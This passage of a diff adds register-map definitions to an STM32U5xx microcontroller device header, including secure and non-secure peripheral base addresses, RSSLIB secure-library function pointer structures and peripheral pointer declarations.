GPIOD_BASE_NS (AHB2PERIPH_BASE_NS + 0x00C00UL) +#define GPIOE_BASE_NS (AHB2PERIPH_BASE_NS + 0x01000UL) +#define GPIOF_BASE_NS (AHB2PERIPH_BASE_NS + 0x01400UL) +#define GPIOG_BASE_NS (AHB2PERIPH_BASE_NS + 0x01800UL) +#define GPIOH_BASE_NS (AHB2PERIPH_BASE_NS + 0x01C00UL) +#define GPIOI_BASE_NS (AHB2PERIPH_BASE_NS + 0x02000UL) +#define GPIOJ_BASE_NS (AHB2PERIPH_BASE_NS + 0x02400UL) +#define ADC1_BASE_NS (AHB2PERIPH_BASE_NS + 0x08000UL) +#define ADC2_BASE_NS (AHB2PERIPH_BASE_NS + 0x08100UL) +#define ADC12_COMMON_BASE_NS (AHB2PERIPH_BASE_NS + 0x08300UL) +#define DCMI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C000UL) +#define PSSI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C400UL) +#define USB_OTG_HS_BASE_NS (AHB2PERIPH_BASE_NS + 0x20000UL) +#define AES_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0000UL) +#define HASH_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0400UL) +#define HASH_DIGEST_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0710UL) +#define RNG_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0800UL) +#define SAES_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0C00UL) +#define PKA_BASE_NS (AHB2PERIPH_BASE_NS + 0xA2000UL) +#define PKA_RAM_BASE_NS (AHB2PERIPH_BASE_NS + 0xA2400UL) +#define OCTOSPIM_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xA4000UL) /*!< OCTOSPIO Manager control registers base address */ +#define OTFDEC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA5000UL) +#define OTFDEC1_REGION1_BASE_NS (OTFDEC1_BASE_NS + 0x20UL) +#define OTFDEC1_REGION2_BASE_NS (OTFDEC1_BASE_NS + 0x50UL) +#define OTFDEC1_REGION3_BASE_NS (OTFDEC1_BASE_NS + 0x80UL) +#define OTFDEC1_REGION4_BASE_NS (OTFDEC1_BASE_NS + 0xB0UL) +#define OTFDEC2_BASE_NS (AHB2PERIPH_BASE_NS + 0xA5400UL) +#define OTFDEC2_REGION1_BASE_NS (OTFDEC2_BASE_NS + 0x20UL) +#define OTFDEC2_REGION2_BASE_NS (OTFDEC2_BASE_NS + 0x50UL) +#define OTFDEC2_REGION3_BASE_NS (OTFDEC2_BASE_NS + 0x80UL) +#define OTFDEC2_REGION4_BASE_NS (OTFDEC2_BASE_NS + 0xB0UL) +#define SDMMC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8000UL) +#define SDMMC2_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8C00UL) +#define DLYB_SDMMC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8400UL) +#define DLYB_SDMMC2_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8800UL) +#define DLYB_OCTOSPI1_BASE_NS (AHB2PERIPH_BASE_NS + 0xAF000UL) +#define DLYB_OCTOSPI2_BASE_NS (AHB2PERIPH_BASE_NS + 0xAF400UL) +#define FMC_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB0400UL) /*!< FMC control registers base address */ +/*!< FMC Banks Non secure registers base address */ +#define FMC_Bank1_R_BASE_NS (FMC_R_BASE_NS + 0x0000UL) +#define FMC_Bank1E_R_BASE_NS (FMC_R_BASE_NS + 0x0104UL) +#define FMC_Bank3_R_BASE_NS (FMC_R_BASE_NS + 0x0080UL) +#define OCTOSPI1_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB1400UL) /*!< OCTOSPI1 control registers base address */ +#define OCTOSPI2_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB2400UL) /*!< OCTOSPI2 control registers base address */ +#define HSPI1_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB3400UL) + +/*!< AHB3 Non secure peripherals */ +#define LPGPIO1_BASE_NS (AHB3PERIPH_BASE_NS) +#define PWR_BASE_NS (AHB3PERIPH_BASE_NS + 0x0800UL) +#define RCC_BASE_NS (AHB3PERIPH_BASE_NS + 0x0C00UL) +#define ADC4_BASE_NS (AHB3PERIPH_BASE_NS + 0x1000UL) +#define ADC4_COMMON_BASE_NS (AHB3PERIPH_BASE_NS + 0x1300UL) +#define DAC1_BASE_NS (AHB3PERIPH_BASE_NS + 0x1800UL) +#define EXTI_BASE_NS (AHB3PERIPH_BASE_NS + 0x2000UL) +#define GTZC_TZSC2_BASE_NS (AHB3PERIPH_BASE_NS + 0x3000UL) +#define GTZC_TZIC2_BASE_NS (AHB3PERIPH_BASE_NS + 0x3400UL) +#define GTZC_MPCBB4_BASE_NS (AHB3PERIPH_BASE_NS + 0x3800UL) +#define ADF1_BASE_NS (AHB3PERIPH_BASE_NS + 0x4000UL) +#define ADF1_Filter0_BASE_NS (ADF1_BASE_NS + 0x80UL) +#define LPDMA1_BASE_NS (AHB3PERIPH_BASE_NS + 0x5000UL) +#define LPDMA1_Channel0_BASE_NS (LPDMA1_BASE_NS + 0x0050UL) +#define LPDMA1_Channel1_BASE_NS (LPDMA1_BASE_NS + 0x00D0UL) +#define LPDMA1_Channel2_BASE_NS (LPDMA1_BASE_NS + 0x0150UL) +#define LPDMA1_Channel3_BASE_NS (LPDMA1_BASE_NS + 0x01D0UL) +/* GFXMMU non secure virtual buffers base address */ +#define GFXMMU_VIRTUAL_BUFFERS_BASE_NS (0x24000000UL) +#define GFXMMU_VIRTUAL_BUFFER0_BASE_NS (GFXMMU_VIRTUAL_BUFFERS_BASE_NS) +#define GFXMMU_VIRTUAL_BUFFER1_BASE_NS (GFXMMU_VIRTUAL_BUFFERS_BASE_NS + 0x400000UL) +#define GFXMMU_VIRTUAL_BUFFER2_BASE_NS (GFXMMU_VIRTUAL_BUFFERS_BASE_NS + 0x800000UL) +#define GFXMMU_VIRTUAL_BUFFER3_BASE_NS (GFXMMU_VIRTUAL_BUFFERS_BASE_NS + 0xC00000UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Secure */ +#define FLASH_BASE_S (0x0C000000UL) /*!< FLASH (4 MB) secure base address */ +#define SRAM1_BASE_S (0x30000000UL) /*!< SRAM1 (768 KB) secure base address */ +#define SRAM2_BASE_S (0x300C0000UL) /*!< SRAM2 (64 KB) secure base address */ +#define SRAM3_BASE_S (0x300D0000UL) /*!< SRAM3 (832 KB) secure base address */ +#define SRAM4_BASE_S (0x38000000UL) /*!< SRAM4 (16 KB) secure base address */ +#define SRAM5_BASE_S (0x301A0000UL) /*!< SRAM5 (832 KB) secure base address */ +#define PERIPH_BASE_S (0x50000000UL) /*!< Peripheral secure base address */ +#define SRAM6_BASE_S (0x30270000UL) /*!< SRAM6 (512 KB) secure base address */ + +/* Peripheral memory map - Secure */ +#define APB1PERIPH_BASE_S PERIPH_BASE_S +#define APB2PERIPH_BASE_S (PERIPH_BASE_S + 0x00010000UL) +#define AHB1PERIPH_BASE_S (PERIPH_BASE_S + 0x00020000UL) +#define AHB2PERIPH_BASE_S (PERIPH_BASE_S + 0x02020000UL) +#define APB3PERIPH_BASE_S (PERIPH_BASE_S + 0x06000000UL) +#define AHB3PERIPH_BASE_S (PERIPH_BASE_S + 0x06020000UL) + +/*!< APB1 Secure peripherals */ +#define TIM2_BASE_S (APB1PERIPH_BASE_S + 0x0000UL) +#define TIM3_BASE_S (APB1PERIPH_BASE_S + 0x0400UL) +#define TIM4_BASE_S (APB1PERIPH_BASE_S + 0x0800UL) +#define TIM5_BASE_S (APB1PERIPH_BASE_S + 0x0C00UL) +#define TIM6_BASE_S (APB1PERIPH_BASE_S + 0x1000UL) +#define TIM7_BASE_S (APB1PERIPH_BASE_S + 0x1400UL) +#define WWDG_BASE_S (APB1PERIPH_BASE_S + 0x2C00UL) +#define IWDG_BASE_S (APB1PERIPH_BASE_S + 0x3000UL) +#define SPI2_BASE_S (APB1PERIPH_BASE_S + 0x3800UL) +#define USART2_BASE_S (APB1PERIPH_BASE_S + 0x4400UL) +#define USART3_BASE_S (APB1PERIPH_BASE_S + 0x4800UL) +#define UART4_BASE_S (APB1PERIPH_BASE_S + 0x4C00UL) +#define UART5_BASE_S (APB1PERIPH_BASE_S + 0x5000UL) +#define I2C1_BASE_S (APB1PERIPH_BASE_S + 0x5400UL) +#define I2C2_BASE_S (APB1PERIPH_BASE_S + 0x5800UL) +#define USART6_BASE_S (APB1PERIPH_BASE_S + 0x6400UL) +#define I2C4_BASE_S (APB1PERIPH_BASE_S + 0x8400UL) +#define CRS_BASE_S (APB1PERIPH_BASE_S + 0x6000UL) +#define LPTIM2_BASE_S (APB1PERIPH_BASE_S + 0x9400UL) +#define I2C5_BASE_S (APB1PERIPH_BASE_S + 0x9800UL) +#define I2C6_BASE_S (APB1PERIPH_BASE_S + 0x9C00UL) +#define FDCAN1_BASE_S (APB1PERIPH_BASE_S + 0xA400UL) +#define FDCAN_CONFIG_BASE_S (APB1PERIPH_BASE_S + 0xA500UL) +#define SRAMCAN_BASE_S (APB1PERIPH_BASE_S + 0xAC00UL) +#define UCPD1_BASE_S (APB1PERIPH_BASE_S + 0xDC00UL) + +/*!< APB2 Secure peripherals */ +#define TIM1_BASE_S (APB2PERIPH_BASE_S + 0x2C00UL) +#define SPI1_BASE_S (APB2PERIPH_BASE_S + 0x3000UL) +#define TIM8_BASE_S (APB2PERIPH_BASE_S + 0x3400UL) +#define USART1_BASE_S (APB2PERIPH_BASE_S + 0x3800UL) +#define TIM15_BASE_S (APB2PERIPH_BASE_S + 0x4000UL) +#define TIM16_BASE_S (APB2PERIPH_BASE_S + 0x4400UL) +#define TIM17_BASE_S (APB2PERIPH_BASE_S + 0x4800UL) +#define SAI1_BASE_S (APB2PERIPH_BASE_S + 0x5400UL) +#define SAI1_Block_A_BASE_S (SAI1_BASE_S + 0x004UL) +#define SAI1_Block_B_BASE_S (SAI1_BASE_S + 0x024UL) +#define SAI2_BASE_S (APB2PERIPH_BASE_S + 0x5800UL) +#define SAI2_Block_A_BASE_S (SAI2_BASE_S + 0x004UL) +#define SAI2_Block_B_BASE_S (SAI2_BASE_S + 0x024UL) +#define GFXTIM_BASE_S (APB2PERIPH_BASE_S + 0x6400UL) +#define LTDC_BASE_S (APB2PERIPH_BASE_S + 0x6800UL) +#define LTDC_Layer1_BASE_S (LTDC_BASE_S + 0x0084UL) +#define LTDC_Layer2_BASE_S (LTDC_BASE_S + 0x0104UL) +#define DSI_BASE_S (APB2PERIPH_BASE_S + 0x6C00UL) +#define REFBIAS_BASE_S (DSI_BASE_S + 0x800UL) +#define DPHY_BASE_S (DSI_BASE_S + 0xC00UL) + +/*!< APB3 Secure peripherals */ +#define SYSCFG_BASE_S (APB3PERIPH_BASE_S + 0x0400UL) +#define SPI3_BASE_S (APB3PERIPH_BASE_S + 0x2000UL) +#define LPUART1_BASE_S (APB3PERIPH_BASE_S + 0x2400UL) +#define I2C3_BASE_S (APB3PERIPH_BASE_S + 0x2800UL) +#define LPTIM1_BASE_S (APB3PERIPH_BASE_S + 0x4400UL) +#define LPTIM3_BASE_S (APB3PERIPH_BASE_S + 0x4800UL) +#define LPTIM4_BASE_S (APB3PERIPH_BASE_S + 0x4C00UL) +#define OPAMP_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define OPAMP1_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define OPAMP2_BASE_S (APB3PERIPH_BASE_S + 0x5010UL) +#define COMP12_BASE_S (APB3PERIPH_BASE_S + 0x5400UL) +#define COMP1_BASE_S (COMP12_BASE_S) +#define COMP2_BASE_S (COMP12_BASE_S + 0x04UL) +#define VREFBUF_BASE_S (APB3PERIPH_BASE_S + 0x7400UL) +#define RTC_BASE_S (APB3PERIPH_BASE_S + 0x7800UL) +#define TAMP_BASE_S (APB3PERIPH_BASE_S + 0x7C00UL) + +/*!< AHB1 Secure peripherals */ +#define GPDMA1_BASE_S (AHB1PERIPH_BASE_S) +#define GPDMA1_Channel0_BASE_S (GPDMA1_BASE_S + 0x0050UL) +#define GPDMA1_Channel1_BASE_S (GPDMA1_BASE_S + 0x00D0UL) +#define GPDMA1_Channel2_BASE_S (GPDMA1_BASE_S + 0x0150UL) +#define GPDMA1_Channel3_BASE_S (GPDMA1_BASE_S + 0x01D0UL) +#define GPDMA1_Channel4_BASE_S (GPDMA1_BASE_S + 0x0250UL) +#define GPDMA1_Channel5_BASE_S (GPDMA1_BASE_S + 0x02D0UL) +#define GPDMA1_Channel6_BASE_S (GPDMA1_BASE_S + 0x0350UL) +#define GPDMA1_Channel7_BASE_S (GPDMA1_BASE_S + 0x03D0UL) +#define GPDMA1_Channel8_BASE_S (GPDMA1_BASE_S + 0x0450UL) +#define GPDMA1_Channel9_BASE_S (GPDMA1_BASE_S + 0x04D0UL) +#define GPDMA1_Channel10_BASE_S (GPDMA1_BASE_S + 0x0550UL) +#define GPDMA1_Channel11_BASE_S (GPDMA1_BASE_S + 0x05D0UL) +#define GPDMA1_Channel12_BASE_S (GPDMA1_BASE_S + 0x0650UL) +#define GPDMA1_Channel13_BASE_S (GPDMA1_BASE_S + 0x06D0UL) +#define GPDMA1_Channel14_BASE_S (GPDMA1_BASE_S + 0x0750UL) +#define GPDMA1_Channel15_BASE_S (GPDMA1_BASE_S + 0x07D0UL) +#define CORDIC_BASE_S (AHB1PERIPH_BASE_S + 0x01000UL) +#define FMAC_BASE_S (AHB1PERIPH_BASE_S + 0x01400UL) +#define FLASH_R_BASE_S (AHB1PERIPH_BASE_S + 0x02000UL) +#define CRC_BASE_S (AHB1PERIPH_BASE_S + 0x03000UL) +#define TSC_BASE_S (AHB1PERIPH_BASE_S + 0x04000UL) +#define MDF1_BASE_S (AHB1PERIPH_BASE_S + 0x05000UL) +#define MDF1_Filter0_BASE_S (MDF1_BASE_S + 0x80UL) +#define MDF1_Filter1_BASE_S (MDF1_BASE_S + 0x100UL) +#define MDF1_Filter2_BASE_S (MDF1_BASE_S + 0x180UL) +#define MDF1_Filter3_BASE_S (MDF1_BASE_S + 0x200UL) +#define MDF1_Filter4_BASE_S (MDF1_BASE_S + 0x280UL) +#define MDF1_Filter5_BASE_S (MDF1_BASE_S + 0x300UL) +#define RAMCFG_BASE_S (AHB1PERIPH_BASE_S + 0x06000UL) +#define RAMCFG_SRAM1_BASE_S (RAMCFG_BASE_S) +#define RAMCFG_SRAM2_BASE_S (RAMCFG_BASE_S + 0x0040UL) +#define RAMCFG_SRAM3_BASE_S (RAMCFG_BASE_S + 0x0080UL) +#define RAMCFG_SRAM4_BASE_S (RAMCFG_BASE_S + 0x00C0UL) +#define RAMCFG_BKPRAM_BASE_S (RAMCFG_BASE_S + 0x0100UL) +#define RAMCFG_SRAM5_BASE_S (RAMCFG_BASE_S + 0x0140UL) +#define RAMCFG_SRAM6_BASE_S (RAMCFG_BASE_S + 0x0180UL) +#define JPEG_BASE_S (AHB1PERIPH_BASE_S + 0x0A000UL) +#define DMA2D_BASE_S (AHB1PERIPH_BASE_S + 0x0B000UL) +#define GFXMMU_BASE_S (AHB1PERIPH_BASE_S + 0x0C000UL) +#define GPU2D_BASE_S (AHB1PERIPH_BASE_S + 0x0F000UL) +#define ICACHE_BASE_S (AHB1PERIPH_BASE_S + 0x10400UL) +#define DCACHE1_BASE_S (AHB1PERIPH_BASE_S + 0x11400UL) +#define DCACHE2_BASE_S (AHB1PERIPH_BASE_S + 0x11800UL) +#define GTZC_TZSC1_BASE_S (AHB1PERIPH_BASE_S + 0x12400UL) +#define GTZC_TZIC1_BASE_S (AHB1PERIPH_BASE_S + 0x12800UL) +#define GTZC_MPCBB1_BASE_S (AHB1PERIPH_BASE_S + 0x12C00UL) +#define GTZC_MPCBB2_BASE_S (AHB1PERIPH_BASE_S + 0x13000UL) +#define GTZC_MPCBB3_BASE_S (AHB1PERIPH_BASE_S + 0x13400UL) +#define GTZC_MPCBB5_BASE_S (AHB1PERIPH_BASE_S + 0x13800UL) +#define GTZC_MPCBB6_BASE_S (AHB1PERIPH_BASE_S + 0x13C00UL) +#define BKPSRAM_BASE_S (AHB1PERIPH_BASE_S + 0x16400UL) + +/*!< AHB2 Secure peripherals */ +#define GPIOA_BASE_S (AHB2PERIPH_BASE_S + 0x00000UL) +#define GPIOB_BASE_S (AHB2PERIPH_BASE_S + 0x00400UL) +#define GPIOC_BASE_S (AHB2PERIPH_BASE_S + 0x00800UL) +#define GPIOD_BASE_S (AHB2PERIPH_BASE_S + 0x00C00UL) +#define GPIOE_BASE_S (AHB2PERIPH_BASE_S + 0x01000UL) +#define GPIOF_BASE_S (AHB2PERIPH_BASE_S + 0x01400UL) +#define GPIOG_BASE_S (AHB2PERIPH_BASE_S + 0x01800UL) +#define GPIOH_BASE_S (AHB2PERIPH_BASE_S + 0x01C00UL) +#define GPIOI_BASE_S (AHB2PERIPH_BASE_S + 0x02000UL) +#define GPIOJ_BASE_S (AHB2PERIPH_BASE_S + 0x02400UL) +#define ADC1_BASE_S (AHB2PERIPH_BASE_S + 0x08000UL) +#define ADC2_BASE_S (AHB2PERIPH_BASE_S + 0x08100UL) +#define ADC12_COMMON_BASE_S (AHB2PERIPH_BASE_S + 0x08300UL) +#define DCMI_BASE_S (AHB2PERIPH_BASE_S + 0x0C000UL) +#define PSSI_BASE_S (AHB2PERIPH_BASE_S + 0x0C400UL) +#define USB_OTG_HS_BASE_S (AHB2PERIPH_BASE_S + 0x20000UL) +#define AES_BASE_S (AHB2PERIPH_BASE_S + 0xA0000UL) +#define HASH_BASE_S (AHB2PERIPH_BASE_S + 0xA0400UL) +#define HASH_DIGEST_BASE_S (AHB2PERIPH_BASE_S + 0xA0710UL) +#define RNG_BASE_S (AHB2PERIPH_BASE_S + 0xA0800UL) +#define SAES_BASE_S (AHB2PERIPH_BASE_S + 0xA0C00UL) +#define PKA_BASE_S (AHB2PERIPH_BASE_S + 0xA2000UL) +#define PKA_RAM_BASE_S (AHB2PERIPH_BASE_S + 0xA2400UL) +#define OTFDEC1_BASE_S (AHB2PERIPH_BASE_S + 0xA5000UL) +#define OTFDEC1_REGION1_BASE_S (OTFDEC1_BASE_S + 0x20UL) +#define OTFDEC1_REGION2_BASE_S (OTFDEC1_BASE_S + 0x50UL) +#define OTFDEC1_REGION3_BASE_S (OTFDEC1_BASE_S + 0x80UL) +#define OTFDEC1_REGION4_BASE_S (OTFDEC1_BASE_S + 0xB0UL) +#define OTFDEC2_BASE_S (AHB2PERIPH_BASE_S + 0xA5400UL) +#define OTFDEC2_REGION1_BASE_S (OTFDEC2_BASE_S + 0x20UL) +#define OTFDEC2_REGION2_BASE_S (OTFDEC2_BASE_S + 0x50UL) +#define OTFDEC2_REGION3_BASE_S (OTFDEC2_BASE_S + 0x80UL) +#define OTFDEC2_REGION4_BASE_S (OTFDEC2_BASE_S + 0xB0UL) +#define OCTOSPIM_R_BASE_S (AHB2PERIPH_BASE_S + 0xA4000UL) /*!< OCTOSPIM control registers base address */ +#define SDMMC1_BASE_S (AHB2PERIPH_BASE_S + 0xA8000UL) +#define SDMMC2_BASE_S (AHB2PERIPH_BASE_S + 0xA8C00UL) +#define DLYB_SDMMC1_BASE_S (AHB2PERIPH_BASE_S + 0xA8400UL) +#define DLYB_SDMMC2_BASE_S (AHB2PERIPH_BASE_S + 0xA8800UL) +#define DLYB_OCTOSPI1_BASE_S (AHB2PERIPH_BASE_S + 0xAF000UL) +#define DLYB_OCTOSPI2_BASE_S (AHB2PERIPH_BASE_S + 0xAF400UL) +#define FMC_R_BASE_S (AHB2PERIPH_BASE_S + 0xB0400UL) /*!< FMC control registers base address */ +#define HSPI1_R_BASE_S (AHB2PERIPH_BASE_S + 0xB3400UL) +#define FMC_Bank1_R_BASE_S (FMC_R_BASE_S + 0x0000UL) +#define FMC_Bank1E_R_BASE_S (FMC_R_BASE_S + 0x0104UL) +#define FMC_Bank3_R_BASE_S (FMC_R_BASE_S + 0x0080UL) +#define OCTOSPI1_R_BASE_S (AHB2PERIPH_BASE_S + 0xB1400UL) /*!< OCTOSPI1 control registers base address */ +#define OCTOSPI2_R_BASE_S (AHB2PERIPH_BASE_S + 0xB2400UL) /*!< OCTOSPI2 control registers base address */ + +/*!< AHB3 Secure peripherals */ +#define LPGPIO1_BASE_S (AHB3PERIPH_BASE_S) +#define PWR_BASE_S (AHB3PERIPH_BASE_S + 0x0800UL) +#define RCC_BASE_S (AHB3PERIPH_BASE_S + 0x0C00UL) +#define ADC4_BASE_S (AHB3PERIPH_BASE_S + 0x1000UL) +#define ADC4_COMMON_BASE_S (AHB3PERIPH_BASE_S + 0x1300UL) +#define DAC1_BASE_S (AHB3PERIPH_BASE_S + 0x1800UL) +#define EXTI_BASE_S (AHB3PERIPH_BASE_S + 0x2000UL) +#define GTZC_TZSC2_BASE_S (AHB3PERIPH_BASE_S + 0x3000UL) +#define GTZC_TZIC2_BASE_S (AHB3PERIPH_BASE_S + 0x3400UL) +#define GTZC_MPCBB4_BASE_S (AHB3PERIPH_BASE_S + 0x3800UL) +#define ADF1_BASE_S (AHB3PERIPH_BASE_S + 0x4000UL) +#define ADF1_Filter0_BASE_S (ADF1_BASE_S + 0x80UL) +#define LPDMA1_BASE_S (AHB3PERIPH_BASE_S + 0x5000UL) +#define LPDMA1_Channel0_BASE_S (LPDMA1_BASE_S + 0x0050UL) +#define LPDMA1_Channel1_BASE_S (LPDMA1_BASE_S + 0x00D0UL) +#define LPDMA1_Channel2_BASE_S (LPDMA1_BASE_S + 0x0150UL) +#define LPDMA1_Channel3_BASE_S (LPDMA1_BASE_S + 0x01D0UL) + +/* GFXMMU secure virtual buffers base address */ +#define GFXMMU_VIRTUAL_BUFFERS_BASE_S (0x34000000UL) +#define GFXMMU_VIRTUAL_BUFFER0_BASE_S (GFXMMU_VIRTUAL_BUFFERS_BASE_S) +#define GFXMMU_VIRTUAL_BUFFER1_BASE_S (GFXMMU_VIRTUAL_BUFFERS_BASE_S + 0x400000UL) +#define GFXMMU_VIRTUAL_BUFFER2_BASE_S (GFXMMU_VIRTUAL_BUFFERS_BASE_S + 0x800000UL) +#define GFXMMU_VIRTUAL_BUFFER3_BASE_S (GFXMMU_VIRTUAL_BUFFERS_BASE_S + 0xC00000UL) + +/* Debug MCU registers base address */ +#define DBGMCU_BASE (0xE0044000UL) +#define PACKAGE_BASE (0x0BFA0500UL) /*!< Package data register base address */ +#define UID_BASE (0x0BFA0700UL) /*!< Unique device ID register base address */ +#define FLASHSIZE_BASE (0x0BFA07A0UL) /*!< Flash size data register base address */ + +/* Internal Flash OTP Area */ +#define FLASH_OTP_BASE (0x0BFA0000UL) /*!< FLASH OTP (one-time programmable) base address */ +#define FLASH_OTP_SIZE (0x200U) /*!< 512 bytes OTP (one-time programmable) */ + +/* USB OTG registers Base address */ +#define USB_OTG_GLOBAL_BASE (0x0000UL) +#define USB_OTG_DEVICE_BASE (0x0800UL) +#define USB_OTG_IN_ENDPOINT_BASE (0x0900UL) +#define USB_OTG_OUT_ENDPOINT_BASE (0x0B00UL) +#define USB_OTG_EP_REG_SIZE (0x0020UL) +#define USB_OTG_HOST_BASE (0x0400UL) +#define USB_OTG_HOST_PORT_BASE (0x0440UL) +#define USB_OTG_HOST_CHANNEL_BASE (0x0500UL) +#define USB_OTG_HOST_CHANNEL_SIZE (0x0020UL) +#define USB_OTG_PCGCCTL_BASE (0x0E00UL) +#define USB_OTG_FIFO_BASE (0x1000UL) +#define USB_OTG_FIFO_SIZE (0x1000UL) + +/*!< Root Secure Service Library */ +/************ RSSLIB SAU system Flash region definition constants *************/ +#define RSSLIB_SYS_FLASH_NS_PFUNC_START (0x0BF99E40UL) +#define RSSLIB_SYS_FLASH_NS_PFUNC_END (0x0BF99EFFUL) + +/************ RSSLIB function return constants ********************************/ +#define RSSLIB_ERROR (0xF5F5F5F5UL) +#define RSSLIB_SUCCESS (0xEAEAEAEAUL) + +/*!< RSSLIB pointer function structure address definition */ +#define RSSLIB_PFUNC_BASE RSSLIB_SYS_FLASH_NS_PFUNC_START +#define RSSLIB_PFUNC ((RSSLIB_pFunc_TypeDef *)RSSLIB_PFUNC_BASE) + +/*!< HDP Area constant definition */ +#define RSSLIB_HDP_AREA_Pos (0UL) +#define RSSLIB_HDP_AREA_Msk (0x3UL << RSSLIB_HDP_AREA_Pos ) +#define RSSLIB_HDP_AREA1_Pos (0UL) +#define RSSLIB_HDP_AREA1_Msk (0x1UL << RSSLIB_HDP_AREA1_Pos ) +#define RSSLIB_HDP_AREA2_Pos (1UL) +#define RSSLIB_HDP_AREA2_Msk (0x1UL << RSSLIB_HDP_AREA2_Pos ) + +/** + * @brief Prototype of RSSLIB Close and exit HDP Function + * @detail This function close the requested hdp area passed in input + * parameter and jump to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param HdpArea notifies which hdp area to close, can be a combination of + * hdpa area 1 and hdp area 2 + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t ( *RSSLIB_S_CloseExitHDP_TypeDef)( uint32_t HdpArea, uint32_t VectorTableAddr ); + + +/** + * @brief RSSLib non-secure callable function pointer structure + */ +typedef struct +{ + __IM uint32_t Reserved[8]; +}NSC_pFuncTypeDef; + +/** + * @brief RSSLib secure callable function pointer structure + */ +typedef struct +{ + __IM uint32_t Reserved2[2]; + __IM RSSLIB_S_CloseExitHDP_TypeDef CloseExitHDP; /*!< RSSLIB Bootloader Close and exit HDP Address offset: 0x28 */ +}S_pFuncTypeDef; + +/** + * @brief RSSLib function pointer structure + */ +typedef struct +{ + NSC_pFuncTypeDef NSC; + S_pFuncTypeDef S; +}RSSLIB_pFunc_TypeDef; + +/** @} */ /* End of group STM32U5xx_Peripheral_peripheralAddr */ + + +/* =========================================================================================================================== */ +/* ================ Peripheral declaration ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_Peripheral_declaration + * @{ + */ + +/*!< APB1 Non secure peripherals */ +#define TIM2_NS ((TIM_TypeDef *) TIM2_BASE_NS) +#define TIM3_NS ((TIM_TypeDef *) TIM3_BASE_NS) +#define TIM4_NS ((TIM_TypeDef *) TIM4_BASE_NS) +#define TIM5_NS ((TIM_TypeDef *) TIM5_BASE_NS) +#define TIM6_NS ((TIM_TypeDef *) TIM6_BASE_NS) +#define TIM7_NS ((TIM_TypeDef *) TIM7_BASE_NS) +#define WWDG_NS ((WWDG_TypeDef *) WWDG_BASE_NS) +#define IWDG_NS ((IWDG_TypeDef *) IWDG_BASE_NS) +#define SPI2_NS ((SPI_TypeDef *) SPI2_BASE_NS) +#define USART2_NS ((USART_TypeDef *) USART2_BASE_NS) +#define USART3_NS ((USART_TypeDef *) USART3_BASE_NS) +#define UART4_NS ((USART_TypeDef *) UART4_BASE_NS) +#define UART5_NS ((USART_TypeDef *) UART5_BASE_NS) +#define I2C1_NS ((I2C_TypeDef *) I2C1_BASE_NS) +#define I2C2_NS ((I2C_TypeDef *) I2C2_BASE_NS) +#define CRS_NS ((CRS_TypeDef *) CRS_BASE_NS) +#define USART6_NS ((USART_TypeDef *) USART6_BASE_NS) +#define I2C5_NS ((I2C_TypeDef *) I2C5_BASE_NS) +#define I2C6_NS ((I2C_TypeDef *) I2C6_BASE_NS) +#define I2C4_NS ((I2C_TypeDef *) I2C4_BASE_NS) +#define LPTIM2_NS ((LPTIM_TypeDef *) LPTIM2_BASE_NS) +#define FDCAN1_NS ((FDCAN_GlobalTypeDef *) FDCAN1_BASE_NS) +#define FDCAN_CONFIG_NS ((FDCAN_Config_TypeDef *) FDCAN_CONFIG_BASE_NS) +#define UCPD1_NS ((UCPD_TypeDef *) UCPD1_BASE_NS) + +/*!< APB2 Non secure peripherals */ +#define TIM1_NS ((TIM_TypeDef *) TIM1_BASE_NS) +#define SPI1_NS ((SPI_TypeDef *) SPI1_BASE_NS) +#define TIM8_NS ((TIM_TypeDef *) TIM8_BASE_NS) +#define USART1_NS ((USART_TypeDef *) USART1_BASE_NS) +#define TIM15_NS ((TIM_TypeDef *) TIM15_BASE_NS) +#define TIM16_NS ((TIM_TypeDef *) TIM16_BASE_NS) +#define TIM17_NS ((TIM_TypeDef *) TIM17_BASE_NS) +#define SAI1_NS ((SAI_TypeDef *) SAI1_BASE_NS) +#define SAI1_Block_A_NS ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_NS) +#define SAI1_Block_B_NS ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_NS) +#define SAI2_NS ((SAI_TypeDef *) SAI2_BASE_NS) +#define SAI2_Block_A_NS ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_NS) +#define SAI2_Block_B_NS ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_NS) +#define LTDC_NS ((LTDC_TypeDef *) LTDC_BASE_NS) +#define LTDC_Layer1_NS ((LTDC_Layer_TypeDef *) LTDC_Layer1_BASE_NS) +#define LTDC_Layer2_NS ((LTDC_Layer_TypeDef *) LTDC_Layer2_BASE_NS) +#define DSI_NS ((DSI_TypeDef *) DSI_BASE_NS) +#define REFBIAS_NS ((REFBIAS_TypeDef *) REFBIAS_BASE_NS) +#define DPHY_NS ((DPHY_TypeDef *) DPHY_BASE_NS) +#define GFXTIM_NS ((GFXTIM_TypeDef *) GFXTIM_BASE_NS) + +/*!< APB3 Non secure peripherals */ +#define SYSCFG_NS ((SYSCFG_TypeDef *) SYSCFG_BASE_NS) +#define SPI3_NS ((SPI_TypeDef *) SPI3_BASE_NS) +#define LPUART1_NS ((USART_TypeDef *) LPUART1_BASE_NS) +#define I2C3_NS ((I2C_TypeDef *) I2C3_BASE_NS) 